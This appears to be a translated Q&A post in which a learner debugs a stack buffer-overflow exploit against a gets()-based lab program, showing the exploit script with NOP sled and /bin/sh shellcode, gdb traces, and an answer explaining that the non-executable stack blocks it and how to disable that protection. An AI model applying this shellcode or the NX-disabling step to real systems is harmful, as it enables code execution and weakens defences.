漏洞利用期间的分段错误

Segmentation Fault during Exploit

我试图执行 shell代码,但缓冲区溢出。不幸的是我遇到了分段错误。下面是c代码asm代码和exploit代码:

C代码:

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

ASM 代码:

   0x000055555555463a <+0>: push   rbp
   0x000055555555463b <+1>: mov    rbp,rsp
   0x000055555555463e <+4>: sub    rsp,0x50
   0x0000555555554642 <+8>: mov    DWORD PTR [rbp-0x44],edi
   0x0000555555554645 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x0000555555554649 <+15>:    lea    rax,[rbp-0x40]
   0x000055555555464d <+19>:    mov    rdi,rax
   0x0000555555554650 <+22>:    mov    eax,0x0
   0x0000555555554655 <+27>:    call   0x555555554510 <gets@plt>
   0x000055555555465a <+32>:    mov    eax,0x0
   0x000055555555465f <+37>:    leave  
=> 0x0000555555554660 <+38>:    ret    

利用代码

import struct
sp = struct.pack("q", 0x007fffffffe1f0)
nops = "\x90"*20
Shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print "A"*72 + sp + nops + Shellcode

在"ret" cmd 之后,rip 查看堆栈地址“0x007fffffffe1f0”。在这个地址中,有 NOPs Instruction。现在我期待那个 rip exec。 NOP 直到到达 shell 代码。但是我得到了分段错误。在下面我的终端命令中。

Starting program: /root/Desktop/ExerciseExploit/stack5 < ./text

Breakpoint 1, main (argc=1, argv=0x7fffffffe2c8) at stack5.c:11
11    gets(buffer);
(gdb) disas
Dump of assembler code for function main:
   0x000055555555463a <+0>: push   rbp
   0x000055555555463b <+1>: mov    rbp,rsp
   0x000055555555463e <+4>: sub    rsp,0x50
   0x0000555555554642 <+8>: mov    DWORD PTR [rbp-0x44],edi
   0x0000555555554645 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
=> 0x0000555555554649 <+15>:    lea    rax,[rbp-0x40]
   0x000055555555464d <+19>:    mov    rdi,rax
   0x0000555555554650 <+22>:    mov    eax,0x0
   0x0000555555554655 <+27>:    call   0x555555554510 <gets@plt>
   0x000055555555465a <+32>:    mov    eax,0x0
   0x000055555555465f <+37>:    leave  
   0x0000555555554660 <+38>:    ret    
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe190: 0xffffe2c8  0x00007fff  0xf7abe905  0x00000001
0x7fffffffe1a0: 0x00000001  0x00000000  0x555546bd  0x00005555
0x7fffffffe1b0: 0xf7de70e0  0x00007fff  0x00000000  0x00000000
0x7fffffffe1c0: 0x55554670  0x00005555  0x55554530  0x00005555
0x7fffffffe1d0: 0xffffe2c0  0x00007fff  0x00000000  0x00000000
0x7fffffffe1e0: 0x55554670  0x00005555  0xf7a3fa87  0x00007fff
0x7fffffffe1f0: 0x00000000  0x00000000  0xffffe2c8  0x00007fff
0x7fffffffe200: 0x00040000  0x00000001  0x5555463a  0x00005555
(gdb) i r rsp rbp rip
rsp            0x7fffffffe190   0x7fffffffe190
rbp            0x7fffffffe1e0   0x7fffffffe1e0
rip            0x555555554649   0x555555554649 <main+15>
(gdb) c
Continuing.

Breakpoint 2, 0x0000555555554660 in main (argc=1, argv=0x7fffffffe2c8) at stack5.c:12
12  }
(gdb) x/32x $rsp
0x7fffffffe1e8: 0xffffe1f0  0x00007fff  0x90909090  0x90909090
0x7fffffffe1f8: 0x90909090  0x90909090  0x90909090  0x6850c031
0x7fffffffe208: 0x68732f2f  0x69622f68  0x89e3896e  0xb0c289c1
0x7fffffffe218: 0x3180cd0b  0x80cd40c0  0x55554500  0x00005555
0x7fffffffe228: 0xffffe2c0  0x00007fff  0x00000000  0x00000000
0x7fffffffe238: 0x00000000  0x00000000  0x28cb0792  0xb3964c1b
0x7fffffffe248: 0x1f550792  0xb3965ca3  0x00000000  0x00000000
0x7fffffffe258: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb) r < ./text
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/ExerciseExploit/stack5 < ./text

Breakpoint 1, main (argc=1, argv=0x7fffffffe2c8) at stack5.c:11
11    gets(buffer);
(gdb) disas
Dump of assembler code for function main:
   0x000055555555463a <+0>: push   rbp
   0x000055555555463b <+1>: mov    rbp,rsp
   0x000055555555463e <+4>: sub    rsp,0x50
   0x0000555555554642 <+8>: mov    DWORD PTR [rbp-0x44],edi
   0x0000555555554645 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
=> 0x0000555555554649 <+15>:    lea    rax,[rbp-0x40]
   0x000055555555464d <+19>:    mov    rdi,rax
   0x0000555555554650 <+22>:    mov    eax,0x0
   0x0000555555554655 <+27>:    call   0x555555554510 <gets@plt>
   0x000055555555465a <+32>:    mov    eax,0x0
   0x000055555555465f <+37>:    leave  
   0x0000555555554660 <+38>:    ret    
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe190: 0xffffe2c8  0x00007fff  0xf7abe905  0x00000001
0x7fffffffe1a0: 0x00000001  0x00000000  0x555546bd  0x00005555
0x7fffffffe1b0: 0xf7de70e0  0x00007fff  0x00000000  0x00000000
0x7fffffffe1c0: 0x55554670  0x00005555  0x55554530  0x00005555
0x7fffffffe1d0: 0xffffe2c0  0x00007fff  0x00000000  0x00000000
0x7fffffffe1e0: 0x55554670  0x00005555  0xf7a3fa87  0x00007fff
0x7fffffffe1f0: 0x00000000  0x00000000  0xffffe2c8  0x00007fff
0x7fffffffe200: 0x00040000  0x00000001  0x5555463a  0x00005555
(gdb) i r rsp rbp rip
rsp            0x7fffffffe190   0x7fffffffe190
rbp            0x7fffffffe1e0   0x7fffffffe1e0
rip            0x555555554649   0x555555554649 <main+15>
(gdb) c
Continuing.

Breakpoint 2, 0x0000555555554660 in main (argc=1, argv=0x7fffffffe2c8) at stack5.c:12
12  }
(gdb) disas
Dump of assembler code for function main:
   0x000055555555463a <+0>: push   rbp
   0x000055555555463b <+1>: mov    rbp,rsp
   0x000055555555463e <+4>: sub    rsp,0x50
   0x0000555555554642 <+8>: mov    DWORD PTR [rbp-0x44],edi
   0x0000555555554645 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x0000555555554649 <+15>:    lea    rax,[rbp-0x40]
   0x000055555555464d <+19>:    mov    rdi,rax
   0x0000555555554650 <+22>:    mov    eax,0x0
   0x0000555555554655 <+27>:    call   0x555555554510 <gets@plt>
   0x000055555555465a <+32>:    mov    eax,0x0
   0x000055555555465f <+37>:    leave  
=> 0x0000555555554660 <+38>:    ret    
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe1e8: 0xffffe1f0  0x00007fff  0x90909090  0x90909090
0x7fffffffe1f8: 0x90909090  0x90909090  0x90909090  0x6850c031
0x7fffffffe208: 0x68732f2f  0x69622f68  0x89e3896e  0xb0c289c1
0x7fffffffe218: 0x3180cd0b  0x80cd40c0  0x55554500  0x00005555
0x7fffffffe228: 0xffffe2c0  0x00007fff  0x00000000  0x00000000
0x7fffffffe238: 0x00000000  0x00000000  0xce4eb570  0x5565c335
0x7fffffffe248: 0xf9d0b570  0x5565d38d  0x00000000  0x00000000
0x7fffffffe258: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb) i r rsp rbp rip
rsp            0x7fffffffe1e8   0x7fffffffe1e8
rbp            0x4141414141414141   0x4141414141414141
rip            0x555555554660   0x555555554660 <main+38>
(gdb) si
0x00007fffffffe1f0 in ?? ()
(gdb) x/32x $rsp
0x7fffffffe1f0: **0x90909090**  0x90909090  0x90909090  0x90909090
0x7fffffffe200: 0x90909090  0x6850c031  0x68732f2f  0x69622f68
0x7fffffffe210: 0x89e3896e  0xb0c289c1  0x3180cd0b  0x80cd40c0
0x7fffffffe220: 0x55554500  0x00005555  0xffffe2c0  0x00007fff
0x7fffffffe230: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffe240: 0xce4eb570  0x5565c335  0xf9d0b570  0x5565d38d
0x7fffffffe250: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffe260: 0x00000000  0x00000000  0xffffe2d8  0x00007fff
(gdb) i r rsp rbp rip
rsp            0x7fffffffe1f0   0x7fffffffe1f0
rbp            0x4141414141414141   0x4141414141414141
rip            **0x7fffffffe1f0**   0x7fffffffe1f0
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe1f0 in ?? ()

提示: 我正在使用 Kali Linux

谁能告诉我我做错了什么? 谢谢大家!

what i am doing wrong?

所有现代 Linux 发行版都默认阻止从堆栈执行代码(正是为了防止这种溢出变成攻击)。

您可以通过查看 /proc/$pid/maps 中的保护位来验证发生了什么(堆栈应该具有​​ rw 权限,但没有 x)。

您可以使用 gcc foo.c -Wl,-z,execstack 或使用 execstack 实用程序禁用此预防措施。